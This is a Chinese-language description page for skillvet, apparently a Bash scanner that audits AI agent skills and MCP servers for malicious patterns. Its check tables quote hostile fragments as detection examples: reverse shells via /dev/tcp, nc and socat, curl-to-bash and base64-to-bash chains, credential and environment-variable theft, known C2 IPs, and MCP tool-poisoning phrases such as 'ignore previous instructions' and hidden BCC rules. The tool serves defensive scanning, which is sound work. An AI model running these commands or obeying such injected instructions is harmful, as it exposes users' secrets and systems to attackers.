关于 skillvet
skillvet 是一款无需依赖的 Bash Agent Skill 静态安全扫描器,面向 Skill 作者和维护者。它提供多类风险检查、机器可读报告及安装前审计。
主要功能
- 0162 项安全检查与 8 类警告
- 02支持 JSON 和 SARIF 报告
- 03扫描远程、已安装内容及版本差异
- 04风险评分与可配置的误报抑制
- 05安全安装与提交前扫描
适用场景
- 01安装前审计 Agent Skill
- 02在 CI 中扫描已安装的 Skill
- 03仅检查不同版本间的改动
MCP 相关
skillvet 可扫描 MCP 相关攻击模式,包括工具投毒、命令注入、数据外泄和动态工具定义。
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ oakencore/ skillvet --skill skillvet安装后在 Claude Code 中输入/skillvet确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
docs/plans/2026-03-04-mcp-checks-implementation-plan.md2026-03-04-mcp-attack-detection-design.mdscripts/diff-scan.shsafe-install.shscan-remote.shskill-audit.shpre-commit-hookpatterns.b64tests/fixtures.b64run-tests.sh详细介绍
Skillvet
Agent 技能安全扫描器。包含 62 项安全检查和 8 类警告。无依赖项——只需 bash 和 grep。包含受 Tirith 启发的检测模式、MCP 服务攻击检测,以及来自 Koi Security、Bitdefender、Snyk 和 1Password 的攻击活动特征,以及 ClickFix 模式。
用法
安全安装(安装、审计,若存在严重问题则自动移除):
bash skills/skillvet/scripts/safe-install.sh <skill-slug>
审计现有技能:
bash skills/skillvet/scripts/skill-audit.sh skills/some-skill
审计所有已安装的技能:
for d in skills/*/; do bash skills/skillvet/scripts/skill-audit.sh "$d"; done
JSON 输出(用于自动化):
bash skills/skillvet/scripts/skill-audit.sh --json skills/some-skill
SARIF 输出(用于 GitHub Code Scanning / VS Code):
bash skills/skillvet/scripts/skill-audit.sh --sarif skills/some-skill
摘要模式(每个技能一行):
bash skills/skillvet/scripts/skill-audit.sh --summary skills/some-skill
详细模式(调试运行了哪些检查以及扫描了哪些文件):
bash skills/skillvet/scripts/skill-audit.sh --verbose skills/some-skill
扫描远程技能但不安装:
bash skills/skillvet/scripts/scan-remote.sh <skill-slug>
差异扫描(仅扫描不同版本之间的更改内容):
bash skills/skillvet/scripts/diff-scan.sh path/to/old-version path/to/new-version
退出代码:0 无问题,1 仅有警告,2 存在严重问题。
高级选项
| 标志 | 说明 |
|---|---|
--json | 为 CI/仪表板输出 JSON |
--sarif | 为 GitHub Code Scanning 输出 SARIF v2.1.0 |
--summary | 每个技能输出一行 |
--verbose | 显示运行了哪些检查以及扫描了哪些文件 |
--exclude-self | 扫描自身源目录时跳过扫描 |
--max-file-size N | 跳过大于 N 字节的文件 |
--max-depth N | 限制目录遍历深度 |
抑制误报
在技能目录中创建 .skillvetrc 文件,以禁用特定检查:
# Disable check #4 (obfuscation) and #20 (shortened URLs)
disable:4
disable:20
也可以添加行内注释,以抑制单独的行:
const url = "https://bit.ly/legit-link"; // skillvet-ignore
提交前钩子
安装 git 提交前钩子,以便在提交前自动扫描技能:
ln -sf ../../scripts/pre-commit-hook .git/hooks/pre-commit
风险评分
每项发现都有严重性权重(1-10)。JSON、SARIF 和摘要输出中均包含汇总风险评分。评分越高,表示模式越危险:
- 10:反向 shell、已知 C2 IP
- 9:数据外泄、管道传输至 shell、持久化加网络、ClickFix、执行 base64
- 7-8:凭据窃取、混淆、路径遍历、定时炸弹
- 4-6:Punycode、同形异义字、ANSI 注入、缩短的 URL
- 2-3:子进程执行、网络请求、文件写入
严重检查(自动拦截)
核心安全检查(1-24)
| # | 检查项 | 示例 |
|---|---|---|
| 1 | 已知数据外传端点 | webhook.site、ngrok.io、requestbin |
| 2 | 批量采集环境变量 | printenv |、${!*@} |
| 3 | 访问外部凭据 | 脚本中的 ANTHROPIC_API_KEY、TELEGRAM_BOT_TOKEN |
| 4 | 代码混淆 | base64 解码、十六进制转义、动态代码生成 |
| 5 | 路径遍历/敏感文件 | ../../、~/.ssh、~/.clawdbot |
| 6 | 通过 curl/wget 外传数据 | 使用变量的 curl --data、wget --post |
| 7 | 反向/绑定 Shell | /dev/tcp/、nc -e、socat |
| 8 | 窃取 .env 文件 | 脚本中加载 dotenv(而非文档) |
| 9 | Markdown 中的提示词注入 | SKILL.md 中的“忽略先前的指令” |
| 10 | 利用大模型工具 | 指示发送/通过电子邮件泄露机密 |
| 11 | 篡改 Agent 配置 | 写入/修改 AGENTS.md、SOUL.md、clawdbot.json |
| 12 | Unicode 混淆 | 零宽字符、RTL 覆盖、双向控制字符 |
| 13 | 可疑的安装命令 | SKILL.md 中将 curl 的输出传递给 bash |
| 14 | 社会工程 | 下载外部二进制文件、复制并运行指令 |
| 15 | 随附的 .env 文件 | 技能中包含 .env 文件(而非 .example) |
| 16 | 同形异义 URL (Tirith) | 主机名中的西里尔字母 i 与拉丁字母 i |
| 17 | ANSI 转义序列 (Tirith) | 代码/数据文件中的终端转义码 |
| 18 | Punycode 域名 (Tirith) | 以 xn-- 为前缀的 IDN 编码域名 |
| 19 | 双重编码路径 (Tirith) | %25XX 百分号编码绕过 |
| 20 | 缩短的 URL (Tirith) | bit.ly、t.co、tinyurl.com 隐藏目标地址 |
| 21 | 管道传递给 Shell | curl | bash(HTTP 和 HTTPS) |
| 22 | 通过字符串构造规避检测 | String.fromCharCode、getattr、动态拼接调用 |
| 23 | 数据流链分析 | 同一文件读取机密、编码数据,并发送网络请求 |
| 24 | 定时炸弹检测 | Date.now() > timestamp、setTimeout(fn, 86400000) |
| 25 | 已知 C2/IOC IP 封锁列表 | 91.92.242.30、54.91.154.110(已知 AMOS C2 服务器) |
| 26 | 受密码保护的压缩包 | “使用密码 openclaw 解压”——规避杀毒检测 |
| 27 | 粘贴服务托管的负载 | glot.io、pastebin.com 托管恶意脚本 |
| 28 | 下载 GitHub Releases 中的二进制文件 | 虚假的前置条件指向 GitHub 上的 .zip/.exe 文件 |
| 29 | Base64 管道传递给解释器 | echo '...' | base64 -D | bash——macOS 的主要攻击途径 |
| 30 | 子进程与网络命令 | Python/JS 代码中隐藏的管道传递给 Shell 操作 |
| 31 | 虚假 URL 误导 (警告) | 在真实负载前放置诱饵 URL |
| 32 | 进程持久化与网络连接 | nohup curl ... &——可访问网络的后门 |
| 33 | 虚假的前置条件模式 | 包含可疑外部下载内容的“前置条件”章节 |
| 34 | xattr/chmod 投放程序 | 绕过 macOS Gatekeeper:下载、xattr -c、chmod +x、执行 |
| 35 | ClickFix 下载并执行链 | curl -o /tmp/x && chmod +x && ./x、使用下载文件的 open -a |
| 36 | 可疑的软件包来源 | pip install git+https://...、从非官方注册表安装 npm 包 |
| 37 | 分阶段安装程序模式 | openclaw-core、some-lib 等虚假依赖名称 |
| 38 | 伪造 OS 更新的社会工程 | “为确保兼容性,需要 Apple Software Update” |
| 39 | 已知的恶意 ClawHub 行为者 | 涉及 zaycv、Ddoy233、Sakaen736jih、Hightower6eu |
| 40 | Bash /dev/tcp 反向 Shell | bash -i >/dev/tcp/IP/PORT 0>&1(AuthTool 模式) |
| 41 | Nohup 后门 | 带有网络命令的 nohup bash -c '...' >/dev/null |
| 42 | Python 反向 Shell | socket.connect + dup2、pty.spawn('/bin/bash') |
| 43 | 伪装终端输出 | 在恶意负载前显示诱饵“正在下载……”消息 |
| 44 | 访问凭据文件 | 直接读取 .env、.pem、.aws/credentials |
| 45 | TMPDIR 负载暂存 | AMOS 模式:将恶意软件放入 $TMPDIR 后执行 |
| 46 | 执行 GitHub 原始内容 | curl raw.githubusercontent.com/... | bash |
| 47 | Echo 编码的负载 | 回显长 Base64 字符串并通过管道传递给解码器 |
| 48 | 仿冒技能名称 | clawdhub-helper、openclaw-cli、skillvet1 |
受 Tirith 启发的安全检查(#49-54)
基于 Tirith 的策略即代码模式,用于检测高级混淆和凭据滥用。
| # | 检查项 | 严重性 | 示例 |
|---|---|---|---|
| 49 | 同形异义 URL 检测 | 9 | URL 中使用西里尔字母/希腊字母中的相似字符(例如,а 与 a) |
| 50 | 零宽/不可见 Unicode 字符 | 8 | U+200B、U+200D、双向文本覆盖字符隐藏恶意内容 |
| 51 | Punycode 域名检测 | 9 | 使用 xn-- 编码的 IDN 域名伪装成合法域名 |
| 52 | URL 中的凭据 | 7 | https://user:pass@host — 密码暴露在 URL 中 |
| 53 | 针对点文件的操作 | 9 | 写入 .bashrc、.ssh/authorized_keys、.gitconfig |
| 54 | URL 缩短器混淆 | 7 | 缩短后的 URL 隐藏恶意目标地址 |
MCP 安全检查(#55-62)
基于 Invariant Labs、Trail of Bits、Keysight 和 Snyk 对 MCP 服务攻击向量的研究。
| # | 检查项 | 严重性 | 示例 |
|---|---|---|---|
| 55 | MCP 工具投毒指令 | 9 | "description": "ignore previous instructions and..." |
| 56 | 跨服务工具劫持 | 8 | "when using send_email, always BCC..." |
| 57 | 对话历史窃取 | 9 | conversation_history 参数、when you see API_KEY |
| 58 | MCP 处理程序中的命令注入 | 8 | Shell 执行中的模板字面量、使用 shell=True 的子进程 |
| 59 | 批量环境变量窃取 | 9 | JSON.stringify(process.env)、dict(os.environ) |
| 60 | 云元数据 SSRF | 9 | 169.254.169.254、metadata.google.internal |
| 61 | DNS 重绑定暴露(警告) | 6 | 使用 SSE 传输且服务绑定到 0.0.0.0 |
| 62 | Rug pull/动态工具定义 | 8 | 工具注册附近出现 Date.now()、远程获取工具 |
警告检查(标记以供审查)
| # | 检查项 | 示例 |
|---|---|---|
| W1 | 未知的外部工具依赖 | 安装说明中包含非标准 CLI 工具 |
| W2 | 子进程执行 | child_process、execSync、spawn、subprocess |
| W3 | 网络请求 | axios、fetch、requests 导入 |
| W4 | 压缩/打包文件 | 首行超过 500 个字符 — 无法审计 |
| W5 | 文件系统写入操作 | writeFile、open('w')、fs.append |
| W6 | 不安全的传输方式 | curl -k、verify=False — TLS 已禁用 |
| W7 | Docker 不受信任的镜像仓库 | 非标准镜像源 |
扫描的文件类型
.md、.js、.ts、.tsx、.jsx、.py、.sh、.bash、.rs、.go、.rb、.c、.cpp、.json、.yaml、.yml、.toml、.txt、.env*、Dockerfile*、Makefile、pom.xml、.gradle。
自动跳过二进制文件。跟随符号链接。
可移植性
适用于 Linux 和 macOS。Unicode 检查(#12、#16、#17)在可用时使用 grep -P,在不支持 Perl 兼容正则表达式的系统(例如,标准版 macOS)上回退到 perl。如果两者均不可用,则静默跳过这些检查。
IOC 更新
检查 #25 中的 C2 IP 黑名单基于已知指标,来源如下:
- Koi Security 报告(2026 年 2 月)
- The Hacker News 报道
- OpenSourceMalware 分析
要更新 IOC,请编辑 scripts/patterns.b64 中的 KNOWN_IPS 条目(Base64 编码的正则表达式模式)。
CI/CD 集成
GitHub Actions
其中包含 .github/workflows/test.yml — 推送或提交 PR 时,会在 Ubuntu 和 macOS 上运行测试套件。
GitHub 代码扫描(SARIF)
- name: Run skillvet
run: bash scripts/skill-audit.sh --sarif skills/some-skill > results.sarif || true
- name: Upload SARIF
uses: github/codeql-action/upload-sarif@v3
with:
sarif_file: results.sarif
限制
仅进行静态分析。提示注入模式主要针对英文。压缩后的 JS 会被标记,但不会进行反混淆处理。扫描结果干净只能提高安全门槛,并不能保证安全。
审计时,扫描器会标记自身——它自身的模式包含它要检测的字符串。在 CI 中使用 --exclude-self 跳过对自身的扫描。